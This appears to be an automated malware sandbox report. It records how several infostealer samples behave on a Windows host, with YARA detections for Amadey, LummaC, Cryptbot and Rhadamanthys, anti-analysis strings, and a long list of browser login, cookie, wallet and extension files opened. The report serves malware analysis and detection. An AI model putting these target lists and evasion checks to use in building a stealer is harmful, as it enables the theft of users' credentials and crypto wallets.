Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C9CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00C9CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001065E0 LookupAccountNameA,

6_2_001065E0

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 751afd6d8b.exe, 0000000B.00000003.2636461375.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2676190510.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013ED000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2636185691.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2636461375.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1854950642.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1800780125.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1849899623.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2261378738.0000000004750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 751afd6d8b.exe PID: 8132, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000F.00000002.2729033483.0000000003440000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2698713474.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2704239901.0000000005230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2703740052.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wal
Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0
Source: 79cd489a19.exe, 0000000A.00000002.2464249435.00000000051B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: JA9tbD6HjaXXvXThiII
Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: int.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d"d
Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152
Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aljgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlbm
Source: 751afd6d8b.exe, 0000000B.00000003.2676674306.00000000013CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: um","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":p
Source: 751afd6d8b.exe, 0000000B.00000003.2596234102.0000000001447000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 79cd489a19.exe, 0000000A.00000002.2464249435.00000000051B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49846 -> 176.53.146.212:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
